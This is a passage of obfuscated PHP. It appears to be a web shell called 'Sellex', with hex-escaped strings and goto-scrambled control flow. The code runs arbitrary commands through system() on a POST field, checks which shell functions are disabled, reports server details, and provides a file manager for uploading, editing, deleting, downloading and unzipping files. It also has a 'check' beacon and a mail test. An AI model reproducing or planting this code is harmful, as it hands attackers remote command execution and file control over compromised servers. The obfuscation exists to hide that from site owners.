\143\x6f\x6e\x73\56\x67\x65\x74\103\x6c\141\163\x73\50\x69\x2e\147\145\x74\101\x74\x74\x72\x69\x62\165\164\x65\x28\47\144\x61\164\x61\55\x6e\141\155\x65\47\x29\51\x2e\164\150\145\156\50\x63\x20\75\76\x20\x69\56\x63\x6c\141\163\x73\x4e\x61\x6d\145\x20\x3d\x20\x63\56\x72\145\160\154\x61\143\145\50\x22\151\x63\157\156\55\x66\151\x6c\x65\55\164\145\x78\x74\42\54\40\x22\164\145\170\164\x2d\151\143\x6f\x6e\42\51\51\xa\40\x20\x7d\51\xa\x3c\x2f\x73\143\x72\x69\x70\164\x3e\xa\74\x2f\142\x6f\x64\x79\x3e\x3c\x2f\150\x74\x6d\154\76\12"; goto xuNK1; RpDwy: echo substr(@phpversion(), 0, 20); goto rfYlk; kU72Z: echo system($_POST["\145\170\145\143\x6d\x64"]); goto rcEfg; Qm8jY: GfRvx: goto k5wXS; eKyjG: if (strpos(ini_get("\144\x69\163\x61\x62\154\145\137\x66\x75\156\x63\x74\x69\157\x6e\x73"), "\x73\x68\x65\x6c\x6c\137\x65\170\x65\143") !== 0) { goto aEkYB; } goto FEBxE; MIuoc: fclose($huZFR); goto qtvxW; B6QGb: F2y3T("\146\x69\154\145\40\x64\145\x6c\x65\164\x65\x64\x20\163\x75\x63\143\x65\163\x73\x66\x75\154\x6c\x79"); goto f0OQq; qG05B: if (strpos($bP9ht, "\141\144\144\x69\156\147") !== false) { goto nlzqU; } goto io1hp; sJ72V: if (@mail($I8vAC . "\100" . $I8vAC . "\x2e\x63\x6f\x6d", "\110\x65\x6c\x6c\x6f", "\110\x65\x6c\x6c\x6f\54\40\144\x65\x61\x72\40\x75\163\145\162\x21")) { goto bjEbz; } goto jsW6g; ln1jF: GvegE: goto zl_wE; sfpuB: uVwWe: goto ptH6a; GZOS4: if (!(isset($_POST["\x63\147\x66"]) && isset($_POST["\x63\x6f\x64\x65\170"]))) { goto cNHru; } goto IJK5e; qgmWb: unlink($fKgA3); goto BD3G9; pQMdN: echo basename($_SERVER["\120\110\120\137\x53\x45\x4c\x46"]); goto ftX43; te6fx: echo fFUJP(); goto suGJ_; hRGsN: echo $_SERVER["\123\105\122\x56\x45\x52\x5f\x41\x44\x44\x52"]; goto X7iEx; d82TW: if (!isset($_GET["\143\x68\x65\x63\153"])) { goto oUhL4; } goto t1bgm; mdSkB: jH9T2: goto ln1jF; t1bgm: die("\167\x6f\162\153\151\x6e\x67"); goto qeUDI; EWy47: if ($uKjJE == "\156\x65\167\104\151\162") { goto A1Aby; } goto Q1b9f; pVwzF: if (empty($bzgfY)) { goto T17o4; } goto M4x5x; JAjFD: UMC9K: goto r5Ado; g2Jgz: NY9pM: goto o4r4L; g1M5R: rmdir($mKxy1); goto QmpR8; zkSv_: M9NtG: goto gvvFg; qp1Ja: echo ta6a_(); goto x20Uz; I04b2: echo uocA2(); goto qBcvL; Rjllv: echo "\x22\76\x3c\x62\x72\76\12\40\x20\40\x20\x20\x20\40\40\74\151\156\x70\165\x74\40\164\x79\160\x65\75\42\163\165\142\155\x69\x74\x22\40\x63\154\141\x73\163\x3d\42\142\165\164\164\x6f\156\40\151\163\x2d\x70\162\x69\x6d\141\162\171\x20\155\154\55\x32\42\x20\166\141\154\x75\x65\75\42\x63\x68\155\157\144\42\76\xa\x20\40\x20\40\40\40\74\x2f\x64\151\x76\x3e\xa\40\x20\40\40\x3c\57\146\157\162\x6d\x3e\12\x20\x20\74\x2f\144\151\x76\76\12\x9"; goto GZOS4; nXISj: nlzqU: goto ni_Wu; Ivj0Q: echo $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\x44\x52"]; goto f3cw5; fwZTh: ptPZr($_REQUEST["\160"] . "\x2f" . $_REQUEST["\x6e"]); goto bVKkC; S9ILR: goto ezK61; goto FOIiG; maHD6: $oJwbz = ''; goto SgmfV; LQ0zG: file_put_contents($E5Z_f, "\x74\145\x73\x74"); goto rA9Hj; CXBuX: if (!isset($_FILES["\x66"])) { goto C3vwP; } goto e3BHi; Lh2oi: aEkYB: goto UvaCs; KwcdW: echo get_current_user(); goto zysIk; ezNsH: echo FFujP(); goto iTPy6; GarFd: $bzgfY = shell_exec("\167\x68\x69\143\x68\x20\172\x69\160"); goto maHD6; eLrPW: F2Y3T("\x5a\111\x50\40\x46\151\x6c\145\x20\105\170\164\162\141\143\x74\x65\x64\x21"); goto be0Xq; HhYmi: echo "\42\76\12\40\40\x20\x20\x3c\144\151\x76\x20\x63\154\x61\163\x73\75\42\151\163\x2d\x66\x6c\x65\x78\42\x3e\xa\x20\x20\40\40\x20\x20\74\x69\x6e\160\165\x74\x20\x74\171\x70\x65\75\x22\x74\145\x78\x74\42\40\156\x61\x6d\145\75\x22\x63\x6f\144\145\x78\42\x20\143\x6c\141\163\x73\x3d\42\x69\156\x70\x75\164\42\x20\160\x6c\141\143\x65\x68\x6f\154\144\x65\162\75\42"; goto kRxWW; GpfQr: sl6BV: goto Q_7wu; hXpWe: echo "\74\x2f\164\151\164\x6c\x65\76\xa\40\x20\40\40\74\x73\164\171\154\145\76\12\40\40\40\40\x20\x20\164\x62\157\x64\171\40\x74\162\x3a\x68\x6f\166\x65\162\40\x7b\12\x20\40\40\x20\40\40\40\x20\142\x61\143\153\147\162\157\x75\156\x64\55\x63\x6f\154\x6f\162\x3a\40\x68\163\154\x28\61\x37\x31\x2c\x20\x31\60\60\45\54\x20\x31\66\45\51\12\40\x20\40\40\40\x20\175\xa\x20\x20\40\40\40\40\154\x69\40\x7b\xa\x20\x20\40\x20\40\x20\40\x20\x66\157\156\x74\x2d\163\x69\172\x65\72\x20\x31\70\x70\x78\73\12\x20\40\x20\40\x20\x20\x20\40\x6d\141\162\147\151\x6e\55\x6c\x65\146\x74\x3a\40\66\160\170\x3b\xa\40\40\x20\40\x20\x20\40\x20\x6c\151\163\x74\x2d\163\164\x79\x6c\x65\x3a\x20\156\x6f\x6e\x65\xa\x20\40\40\x20\40\40\x7d\12\x20\x20\x20\40\40\x20\x69\56\151\x63\x6f\156\x20\173\12\x20\40\x20\x20\40\40\x20\40\163\x63\x61\154\x65\x3a\x20\x31\x2e\64\73\12\40\x20\40\x20\x20\x20\x20\x20\155\x61\162\x67\x69\x6e\55\154\x65\x66\164\x3a\40\x2d\x34\160\x78\x3b\xa\x20\x20\x20\40\x20\x20\x7d\xa\x20\40\x20\x20\40\x20\x69\x6e\160\165\x74\x2e\x69\156\160\165\x74\72\72\x70\x6c\141\143\x65\150\157\154\144\145\x72\x7b\12\40\40\40\x20\40\40\40\40\143\x6f\x6c\x6f\x72\x3a\40\x68\x73\x6c\50\61\x37\61\x2c\40\61\x30\x30\x25\54\40\62\x38\45\51\x3b\12\x20\x20\40\40\x20\40\x7d\12\x20\x20\x20\40\x20\x20\x2e\146\154\x6f\x61\x74\x69\x6e\147\55\x62\141\x6e\156\145\x72\173\xa\40\x20\40\x20\x20\x20\x20\40\x70\157\163\151\164\151\157\156\72\146\151\170\x65\x64\73\x62\x6f\x74\x74\157\x6d\72\60\x3b\x72\151\147\x68\164\72\x30\73\xa\x20\40\40\40\40\x20\175\xa\40\x20\40\x20\x20\x20\x2e\146\x6c\157\141\x74\151\156\147\x2d\x62\x61\x6e\156\x65\162\40\141\40\173\12\x20\40\x20\x20\40\40\x20\40\142\157\x72\144\x65\x72\x3a\64\x70\170\40\163\157\x6c\151\x64\40\x23\x66\x66\146\146\x66\146\66\66\x3b\12\x20\x20\x20\x20\40\40\x20\40\x63\x6f\154\157\162\x3a\x23\146\x66\146\x66\x66\146\103\x43\x3b\12\40\x20\40\x20\40\x20\40\x20\142\x6f\162\x64\x65\162\x2d\162\141\144\151\x75\x73\72\70\x70\170\x3b\12\40\40\40\x20\x20\x20\x20\x20\x70\x61\144\x64\151\x6e\147\x3a\x32\160\170\x20\61\62\x70\170\73\12\x20\x20\x20\x20\x20\x20\x7d\12\40\x20\40\40\40\x20\x2e\146\154\x6f\x61\164\x69\x6e\147\55\x62\141\x6e\x6e\x65\162\x20\x61\x20\x62\40\x7b\12\x20\40\40\40\40\x20\x20\40\146\x6f\156\164\55\167\x65\151\x67\150\x74\72\71\x30\60\x3b\xa\40\40\40\40\40\x20\40\40\x63\157\x6c\157\162\72\x77\x68\151\x74\145\x3b\xa\x20\x20\x20\40\40\40\x7d\xa\x20\40\x20\40\x20\x20\x2e\x67\162\x61\144\x69\x65\156\164\55\x62\147\x20\173\xa\40\x20\x20\40\40\x20\x20\40\142\x61\x63\x6b\x67\162\x6f\165\x6e\x64\x3a\x20\x6c\151\x6e\x65\141\162\55\x67\162\x61\144\151\145\x6e\x74\50\55\64\x35\144\x65\147\54\x20\40\43\60\x66\x30\x63\62\x39\54\x20\x23\x33\60\x32\x62\66\x33\54\x20\x23\x32\x34\62\x34\63\x65\54\x23\x65\x65\x37\x37\x35\62\54\x20\x23\x65\x37\63\143\67\145\x2c\x20\43\x32\63\x61\66\144\x35\54\40\x23\62\63\144\65\x61\x62\54\x20\43\146\x66\x35\x31\62\146\54\x20\x23\x64\144\62\x34\x37\66\54\x20\x23\61\146\x34\60\x33\67\x2c\x20\x23\x31\x36\62\x32\62\141\54\40\x23\60\x62\64\70\66\x62\x2c\40\x23\62\x33\60\67\x34\144\x2c\x20\x23\x63\143\65\x33\x33\x33\x29\x3b\xa\x20\40\x20\40\40\x20\x20\x20\x62\141\x63\x6b\147\162\157\165\156\x64\55\x73\x69\172\x65\x3a\x20\x34\x30\x30\x25\40\64\60\60\45\x3b\12\40\x20\x20\40\40\x20\40\40\141\x6e\151\155\141\164\x69\157\156\x3a\40\x67\162\x61\144\151\145\x6e\164\x20\61\x30\163\40\x65\141\x73\x65\x20\x69\x6e\146\x69\x6e\151\164\x65\x3b\xa\x20\40\40\40\x20\40\x7d\xa\xa\40\40\x20\40\x20\40\x40\x6b\145\171\146\162\141\x6d\x65\x73\x20\x67\162\x61\144\x69\x65\156\x74\40\173\12\40\x20\40\x20\40\40\40\x20\60\45\40\173\12\40\40\x20\40\x20\40\x20\40\40\40\x62\141\x63\153\x67\162\x6f\x75\x6e\x64\x2d\x70\x6f\163\x69\164\151\157\x6e\x3a\40\x30\45\x20\x35\60\x25\73\12\40\x20\40\x20\x20\40\x20\40\175\12\x20\x20\x20\x20\40\x20\x20\40\65\60\45\x20\173\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\142\x61\143\x6b\x67\162\x6f\x75\x6e\x64\55\x70\157\163\x69\164\151\x6f\x6e\72\40\x31\x30\x30\x25\40\65\x30\x25\x3b\12\x20\x20\x20\40\x20\40\40\x20\175\xa\x20\x20\x20\40\x20\x20\x20\x20\61\x30\x30\45\40\x7b\12\40\x20\40\40\x20\40\40\x20\40\40\142\x61\x63\x6b\147\162\157\165\156\x64\55\160\157\x73\x69\x74\x69\157\x6e\x3a\40\x30\45\x20\65\60\x25\73\12\40\x20\x20\x20\x20\40\40\40\175\12\x20\x20\40\x20\x20\x20\x7d\xa\12\12\x20\x20\x20\x20\x20\40\141\x7b\x63\x6f\154\x6f\x72\x3a\43\146\146\x66\175\12\x20\x20\40\x20\x3c\x2f\x73\x74\x79\x6c\x65\x3e\12\x20\x20\40\40\74\163\x63\162\151\160\164\40\x73\162\x63\75\42\57\57\165\x6e\160\x6b\x67\56\x63\x6f\155\x2f\163\x77\x65\x65\164\141\x6c\x65\x72\x74\x2f\x64\x69\x73\164\x2f\x73\x77\x65\145\164\141\154\145\x72\164\x2e\x6d\x69\156\x2e\152\163\42\x3e\74\x2f\163\x63\x72\x69\x70\164\x3e\12\x20\x20\74\57\x68\x65\141\144\x3e\xa\74\142\x6f\x64\x79\x20\x64\x61\164\141\x2d\x74\x68\x65\155\145\75\x22\144\x61\x72\x6b\42\40\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\x62\141\x63\153\x67\162\157\x75\x6e\x64\x2d\142\154\x61\143\x6b\55\142\151\163\x20\150\x61\x73\x2d\164\x65\x78\164\55\x77\150\151\x74\x65\55\142\x69\x73\x22\40\x73\164\x79\x6c\x65\x3d\42\x6d\x69\156\x2d\150\145\x69\147\x68\164\x3a\x31\x30\60\x76\x68\42\76\12\40\x20\x3c\144\151\x76\40\x73\164\171\x6c\145\x3d\42\x64\151\163\160\154\x61\x79\x3a\156\x6f\x6e\x65\42\76\12\40\40\x20\x20\74\x61\40\x68\x72\145\x66\x3d\x22\150\164\164\160\x73\72\57\57\x73\x65\x6c\154\x65\170\x2e\142\x69\x7a\x22\x20\x74\x69\x74\154\x65\75\42\123\x65\x6c\x6c\x65\170\40\123\150\157\x70\x22\x3e\x53\145\154\x6c\x65\170\x20\x53\x68\157\160\74\57\141\76\xa\40\40\40\40\74\x64\151\166\76\12\x20\40\40\40\40\x20\74\163\160\x61\x6e\x3e\x53\x65\154\154\145\170\x2e\x70\x77\74\x2f\x73\x70\141\156\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\76\x46\x69\x6c\145\x20\155\x61\x6e\x61\147\145\x72\x3c\57\x73\160\141\156\x3e\12\x20\x20\40\40\40\x20\x3c\163\x70\x61\156\x3e\123\x65\x6c\146\40\162\x65\155\x6f\166\x65\74\x2f\x73\x70\x61\156\76\12\x20\40\x20\40\74\57\144\151\166\x3e\12\x20\40\40\x20\x3c\154\x69\x3e\125\156\141\155\x65\40\72\40\x3c\156\157\142\162\x3e"; goto KBqBV; ftX43: echo "\42\76\12\x20\x20\x20\x20\x20\40\x20\40\x3c\x69\x6e\x70\165\x74\x20\164\171\160\145\75\42\163\x75\142\x6d\151\x74\x22\40\x63\154\x61\x73\x73\x3d\x22\142\165\x74\x74\x6f\x6e\x20\x69\163\x2d\x70\162\x69\155\141\162\171\40\151\163\55\x64\x61\162\x6b\40\151\x73\x2d\163\x6d\141\154\x6c\x20\155\164\x2d\62\42\40\156\141\x6d\145\75\x22\151\156\146\x6f\42\x20\x76\141\x6c\165\x65\75\x22\106\165\x6c\x6c\40\x53\x65\162\166\x65\162\x20\x49\156\x66\157\x22\x3e\xa\x20\x20\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\12"; goto Zn19y; asyxZ: if ($DRQDR === TRUE) { goto pBHDV; } goto dJUVQ; gvvFg: echo "\74\144\x69\x76\x20\x6d\x65\164\150\x6f\144\75\42\x70\157\163\164\42\40\143\x6c\141\x73\163\75\42\x62\x6f\170\x22\x20\x73\x74\171\x6c\x65\x3d\x22\x62\x6f\x72\x64\145\x72\x3a\62\160\170\40\163\x6f\x6c\151\144\x20\x68\x73\154\50\x31\x37\x31\54\40\x31\x30\60\45\x2c\40\61\x36\x25\x29\42\x3e\xa\40\40\x3c\150\64\x20\x63\154\x61\x73\163\75\x22\151\x73\x2d\163\x69\x7a\x65\55\x35\40\150\x61\x73\x2d\164\x65\x78\164\x2d\167\x65\x69\147\150\164\x2d\x62\157\x6c\144\x20\150\141\163\55\164\145\170\x74\x2d\160\162\151\x6d\141\x72\x79\x20\155\x62\x2d\x34\42\x3e\xa\x20\40\40\40\x56\151\145\167\x20\x46\x69\154\145\x3a\x20\x3c\163\x70\x61\x6e\x20\143\154\x61\163\x73\x3d\42\150\x61\x73\55\x74\145\x78\164\x2d\167\150\151\x74\145\x20\150\141\x73\55\x74\145\170\x74\x2d\167\145\x69\147\150\x74\x2d\x6e\x6f\x72\155\x61\x6c\x22\76\x20"; goto k9e4Z; fSLYI: if (!isset($_POST["\x7a\151\160\x66\151\x6c\x65"])) { goto TiVoG; } goto HiUWT; cgrAg: bjEbz: goto S8AsQ; PQOqt: echo ugwhk($_GET["\156"]); goto aDHsV; JniYy: unlink($FK4d6); goto Rk1K9; G87Ww: echo UgWhk($_GET["\x70"]) . "\x2f" . UgwhK($_GET["\x6e"]); goto HhYmi; o4r4L: echo "\125\156\172\151\160\160\x65\x64\x20\x73\x75\x63\143\145\163\x73\x66\165\154\x6c\171\x20\165\163\151\x6e\147\40\143\x6f\155\x6d\141\x6e\144\40\154\x69\x6e\x65\x2e\xa"; goto FcEuN; DNDGC: H2eZY: goto nH3yT; bVKkC: Rhx7x: goto BFh3Z; Qnu8o: if (isset($_GET["\x64\x6f\x77\x6e\154\x6f\x61\x64"])) { goto nBPoY; } goto BCVk_; C_GN8: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\x2f{$_POST["\156"]}") ? f2Y3t("\146\157\154\x64\145\162\40\x6e\141\155\x65\x20\x68\x61\163\40\x62\145\145\x6e\x20\x75\x73\x65\144", 0, "\46\x61\75" . SiRa4("\x6e\x65\167\x44\151\x72")) : ($mWJjd[15]("{$keVpk}\57{$_POST["\156"]}") ? F2y3T("\146\x6f\x6c\x64\x65\x72\40\143\162\x65\141\x74\145\x64\40\x73\165\x63\143\x65\163\163\x66\x75\154\154\171") : F2y3T("\146\x6f\x6c\144\x65\162\x20\146\141\151\154\x65\x64\x20\164\157\40\143\x72\x65\141\x74\x65", 0)) : null; goto cxhRw; K_MOx: $zErae++; goto uThiJ; OKn_g: echo "\74\x2f\x6c\x69\76\xa\40\x20\74\57\x64\x69\166\x3e\xa\x20\x20\x3c\x64\151\x76\40\143\x6c\141\163\x73\x3d\42\160\x2d\62\x22\x3e\12\40\40\40\40\x20\x20\x3c\150\x33\x20\x63\x6c\x61\x73\x73\x3d\42\x69\163\55\x73\151\x7a\x65\x2d\63\x20\x6d\x62\x2d\x33\42\x20\x3e\xa\40\40\x20\x20\40\x20\x20\40\74\x63\x65\156\x74\145\162\x3e\x3c\142\x3e\74\x61\x20\x73\164\x79\x6c\145\75\42\142\141\143\153\x67\x72\157\x75\x6e\x64\72\x74\x72\141\x6e\x73\160\141\162\145\x6e\x74\x22\x20\150\x72\145\x66\x3d\42"; goto LISdx; NbQpR: echo "\x3c\x2f\160\x72\x65\76\74\x2f\144\151\x76\76"; goto F63xR; f0OQq: zBzhl: goto OhcY4; i0L9P: if (isset($_GET["\160"])) { goto X1heF; } goto hB10d; nH3yT: echo "\124\150\x65\40\x27\x75\156\x7a\151\x70\47\x20\143\157\155\x6d\x61\156\x64\40\x69\163\40\156\x6f\x74\40\141\166\141\x69\x6c\141\x62\154\145\x20\157\156\x20\x74\x68\x69\x73\x20\x73\145\x72\166\x65\162\56\12"; goto vwrwf; m8TO1: $DRQDR = $qJtBd->open($huZFR); goto asyxZ; iTPy6: echo "\74\57\x6e\x6f\142\162\76\40\174\40\143\125\x52\114\x20\72\40"; goto HKjD5; rwbFS: dR8cX: goto lmJ1h; xLpxC: v0eS9: goto nJ13P; r2NiQ: echo "\40\x20\x20\x20\x20\x20\x3c\57\146\157\x72\155\76\12\40\40\x20\40\x20\x20\74\146\x6f\x72\x6d\x20\x61\143\164\151\x6f\156\x3d\42\x22\x20\x63\154\141\163\163\75\42\x69\163\x2d\x66\154\145\170\x20\151\163\55\x61\154\x69\147\x6e\55\x69\164\x65\155\163\x2d\x65\156\x64\x22\x20\x6d\145\164\x68\x6f\144\x3d\42\x50\117\123\x54\x22\76\xa\x20\x20\x20\x20\40\40\40\x20\74\x64\x69\x76\76\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x3c\x21\55\55\x20\x3c\x6c\141\142\145\x6c\x3e\x4e\x65\x77\x20\x46\x69\x6c\145\74\x2f\154\141\142\x65\x6c\x3e\40\x2d\55\76\12\40\x20\40\x20\40\x20\40\40\x20\40\x3c\x69\x6e\160\x75\164\x20\164\x79\160\x65\x3d\42\x74\145\170\164\42\40\143\154\x61\163\x73\x3d\42\x69\156\160\165\164\x20\151\x73\55\163\x6d\x61\154\154\42\40\x70\154\141\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x4e\x65\x77\x20\106\x69\x6c\x65\x22\40\x20\x6e\x61\155\145\x3d\x22\155\141\153\x65\146\x69\154\x65\42\x2f\x3e\12\40\x20\40\x20\40\40\x20\40\74\57\x64\x69\x76\76\12\x20\x20\x20\x20\x20\40\40\40\x3c\151\156\x70\165\x74\x20\143\154\141\163\163\x3d\42\x6d\x6c\x2d\61\x20\x62\165\x74\164\157\x6e\x20\151\163\x2d\160\162\x69\x6d\x61\x72\171\x20\x69\x73\x2d\x73\x6d\x61\x6c\154\42\40\x74\x79\x70\145\x3d\x22\163\165\142\155\x69\x74\x22\x20\x6e\141\155\145\75\x22\163\x75\142\x6d\x69\x74\x22\40\166\141\x6c\x75\x65\75\x22\x3e\x22\x2f\76\12\40\40\x20\40\x20\40\x20\x20"; goto H61a3; BrWxp: echo $_SERVER["\x52\105\115\x4f\124\x45\137\x41\104\104\x52"]; goto tZlvn; LNZmW: lA959: goto aygGR; suGJ_: echo "\x3c\57\156\x6f\142\162\x3e\12\40\x20\x20\40\x20\x20\x20\x20\x3c\142\x20\x63\x6c\x61\x73\x73\75\42\164\141\x67\x20\x69\x73\x2d\154\151\x67\150\164\40\150\x61\x73\55\x74\x65\170\164\55\144\x61\x72\153\42\x3e\143\x55\x52\114\74\x2f\x62\76\12\x20\40\x20\x20\x20\x20\x20\x20\x3c\156\x6f\x62\162\x20\x63\154\x61\163\x73\75\x22\x6d\x78\x2d\62\42\76"; goto I04b2; znQki: ISTc7: goto S4PR2; hRG94: die($oJwbz); goto RXCC4; VLAWb: function ta6A_() { goto qIzSa; Xx_Os: return "\x4f\106\106"; goto Hu5gv; XNMt4: return "\117\x4e"; goto uWjuh; T7EWo: if (!$CNnnz) { goto HT4LX; } goto XNMt4; Hu5gv: dK1SF: goto QjQdh; uWjuh: goto dK1SF; goto xfzK_; xfzK_: HT4LX: goto Xx_Os; qIzSa: $CNnnz = ini_get("\x73\x61\146\x65\x5f\x6d\x6f\144\145"); goto T7EWo; QjQdh: } goto nIBSq; ihg4R: echo "\x3c\x2f\144\x69\x76\x3e\xa\12"; goto cSOLn; qeUDI: oUhL4: goto Digjf; RU3J2: uUjpR: goto tvfll; BD3G9: unlink($mKxy1 . "\x2f\164\x65\x73\164\x5f\x63\157\155\155\x61\156\144\56\164\170\x74"); goto g1M5R; hp8IJ: echo "\42\x3e\12\x20\x20\40\x20\x20\40\74\x64\x69\166\40\x63\x6c\x61\163\x73\75\42\x69\x73\x2d\146\x6c\x65\x78\x22\76\12\40\x20\x20\40\x20\x20\x20\x20\x3c\151\x6e\160\x75\164\x20\x74\171\x70\145\75\x22\164\145\170\x74\x22\x20\x6e\x61\155\145\75\42\143\157\144\145\170\x22\40\x63\x6c\141\163\163\75\42\x69\156\x70\x75\x74\x22\x20\x70\154\141\x63\x65\150\x6f\154\x64\145\162\x3d\x22"; goto o2t6T; ZxJHB: $I8vAC .= $Q0FGf[rand(0, $c4zya - 1)]; goto sfpuB; KNEon: if (file_exists($mKxy1 . "\x2f\164\x65\x73\164\x5f\143\157\x6d\x6d\141\x6e\144\x2e\164\170\164")) { goto NY9pM; } goto gFmxG; FEBxE: if (strpos(ini_get("\x64\x69\163\x61\x62\x6c\145\x5f\146\x75\156\143\164\151\157\156\163"), "\x70\141\x73\x73\164\x68\162\165") !== 0) { goto GfRvx; } goto kU72Z; S4PR2: jRMyk: goto ihg4R; ptH6a: $zErae++; goto S9ILR; PnUlf: if (!($zErae < count($mWJjd))) { goto JaEu0; } goto s5eAc; yLU0O: function ffuJp() { goto rCqHi; rCqHi: $xHymW = ini_get("\x64\x69\163\x61\x62\154\145\137\x66\x75\156\143\x74\x69\157\x6e\x73"); goto c8SN1; nq5s7: goto BjQbH; goto hBiDf; thxSs: return "\116\117\x4e\105"; goto toB77; c8SN1: if ($xHymW === null || $xHymW === '') { goto NODaP; } goto OE82c; OE82c: return $xHymW; goto nq5s7; toB77: BjQbH: goto MdwZ0; hBiDf: NODaP: goto thxSs; MdwZ0: } goto FhGzc; V15Yn: if (!$mWJjd[12]($FK4d6)) { goto TJ4s1; } goto T4Cf5; yUqwZ: unlink($fKgA3); goto hRG94; be0Xq: uBpEI: goto DD3Zf; xZKMy: bL7ZL($FK4d6); goto V15Yn; MwYDR: $C1o8f = "\163\143\x61\156\x64\151\x72"; goto uDHys; stDsX: echo "\74\x2f\156\x6f\x62\162\x3e\x20\x7c\40\131\x6f\165\162\40\x49\x50\40\x3a\x20\74\x6e\157\142\x72\76"; goto Ivj0Q; S_wCk: EhEmv: goto Ae3K7; DccwL: if ($uKjJE == "\166\x69\145\x77") { goto M9NtG; } goto LjELl; n6diT: $E5Z_f = "\164\145\163\x74\137\x63\x6f\155\x6d\141\x6e\144\x2e\164\x78\164"; goto LQ0zG; DJowL: FgYw1($_POST["\x63\147\x66"], $_POST["\x63\x6f\144\x65\170"]); goto KIbsI; hruo2: foreach ($eEP7u as $UUNTX => $NaV7W) { goto eX0_t; E07k0: if (!($zErae <= $UUNTX)) { goto wCUh6; } goto tW25X; o6IVN: echo "\x22\x3e{$NaV7W}\74\x2f\x61\76\x2f"; goto s2b3M; ffLWS: if (!($zErae != $UUNTX)) { goto hPVmu; } goto SLWrs; KbUTP: echo "\x3c\x61\x20\x68\x72\x65\146\75\42\77\x70\75"; goto OERBf; OEQlv: if (!($NaV7W == '')) { goto GS5nb; } goto p3VQ5; ewqVO: $zErae++; goto d8kRZ; mKW9n: hPVmu: goto CwEma; tW25X: echo sIRa4($eEP7u[$zErae]); goto ffLWS; eTgPd: GS5nb: goto KbUTP; d8kRZ: goto tgmlH; goto TZjIQ; CUjjr: echo "\74\x61\40\x68\162\145\146\x3d\x22\x3f\x70\75\x32\146\x22\76\176\74\57\141\x3e\57"; goto tURdc; eX0_t: if (!($UUNTX == 0 && $NaV7W == '')) { goto lP038; } goto CUjjr; CwEma: zBNFf: goto ewqVO; MP9gs: lP038: goto OEQlv; OERBf: $zErae = 0; goto HpZlc; SLWrs: echo "\62\x66"; goto mKW9n; p3VQ5: goto a30Gp; goto eTgPd; tURdc: goto a30Gp; goto MP9gs; TZjIQ: wCUh6: goto o6IVN; s2b3M: a30Gp: goto RGSrR; HpZlc: tgmlH: goto E07k0; RGSrR: } goto L3Ewc; QmpR8: die($FZEHa ? "\143\150\x65\x63\x6b\x2d\x72\145\163\165\x6c\x74\x2d\x31" : "\143\150\x65\x63\153\x2d\x72\x65\x73\165\154\x74\55\x30"); goto Yzggh; eEOh3: $zErae = 0; goto R4zTw; Me6j_: $f12FE = (isset($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\x48\x54\124\x50\x53"] === "\157\156" ? "\150\x74\x74\160\x73" : "\x68\164\x74\160") . "\x3a\x2f\57" . $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\x54"] . Ugwhk($q5oCr) . "\57" . $_FILES["\146"]["\156\141\155\x65"][$zErae]; goto i2LLY; i2LLY: f2Y3T("\x66\x69\154\x65\40\x75\160\x6c\x6f\x61\x64\145\x64\40\x73\165\143\x63\x65\x73\x73\146\x75\154\x6c\171\41\134\156" . $f12FE); goto OrZ4o; zCGt4: $FK4d6 = $keVpk . "\57" . uGwhK($_GET["\156"]); goto aVplc; jUVbS: echo "\42\76\12\40\40\x20\x20\x20\40\40\x20\x3c\x2f\144\151\166\76\xa\x20\40\x20\x20\x20\40\40\40\x3c\x62\x75\x74\x74\157\x6e\x20\x74\x79\160\x65\75\x22\163\165\x62\x6d\151\x74\x22\x20\x6e\141\x6d\145\x3d\x22\x73\42\x20\x63\154\141\x73\x73\75\42\142\165\164\164\157\156\40\151\163\x2d\160\162\151\155\141\x72\171\x22\76\123\x61\166\x65\74\57\142\x75\164\164\x6f\x6e\76\12\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\xa"; goto NzkH4; vLcfu: isset($_POST["\x73"]) ? $mWJjd[13]($keVpk . "\57" . UGWhk($_GET["\x6e"]), $_POST["\x63\x74\156"]) ? f2y3T("\146\151\x6c\145\x20\x63\157\x6e\x74\x65\156\x74\x73\x20\143\150\141\156\147\145\144\x20\163\x75\x63\x63\145\163\x73\146\165\x6c\154\x79", 1, "\x26\141\75" . sIRA4("\166\151\x65\167") . "\x26\156\75{$_GET["\x6e"]}") : f2Y3t("\146\151\x6c\x65\x20\143\157\x6e\x74\145\156\x74\163\x20\146\141\151\x6c\145\144\40\164\x6f\x20\x63\150\141\156\x67\x65") : null; goto ynQAL; cyHmn: echo "\74\x2f\164\x65\x78\x74\x61\x72\145\141\76\12\40\x20\40\x20\x3c\x2f\144\151\x76\x3e\xa\x20\x20\x20\40\74\142\x75\164\164\x6f\156\40\164\x79\x70\145\75\x22\x73\165\x62\x6d\x69\x74\x22\40\156\x61\x6d\145\x3d\x22\163\42\x20\143\x6c\x61\x73\x73\x3d\x22\142\x75\x74\164\157\156\40\151\163\55\160\162\151\x6d\141\x72\x79\42\76\x53\x61\x76\x65\x3c\x2f\142\x75\164\164\157\x6e\76\xa\74\57\146\157\162\155\76\xa\12"; goto vLcfu; RR_mL: function PtPzR($awBwn) { goto rei4e; hpA04: header("\103\x6f\x6e\x74\145\x6e\x74\55\104\x69\x73\160\157\x73\151\x74\x69\157\x6e\72\40\x61\x74\x74\x61\143\x68\x6d\145\x6e\x74\x3b\40\146\x69\154\145\x6e\141\x6d\145\75\x22" . basename($uM71B) . "\42"); goto kOkwh; rei4e: $yrDZG = explode("\x2f", $awBwn); goto CkMd7; vVE9l: header("\x43\157\x6e\x74\x65\x6e\164\x2d\124\x79\x70\x65\72\40\141\160\x70\x6c\151\143\x61\164\x69\157\156\x2f\x6f\143\x74\145\x74\x2d\x73\x74\x72\145\x61\x6d"); goto QGOml; kOkwh: readfile($uM71B); goto D6w6q; D6w6q: Nt0gh: goto hIFS1; ybZXm: if (!file_exists($uM71B)) { goto Nt0gh; } goto AE2Ew; QGOml: header("\103\x6f\156\x74\x65\156\164\x2d\104\x65\163\143\x72\x69\160\x74\x69\157\156\72\x20\x46\x69\154\145\40\124\162\x61\156\163\146\x65\162"); goto DZxOa; CkMd7: $uM71B = 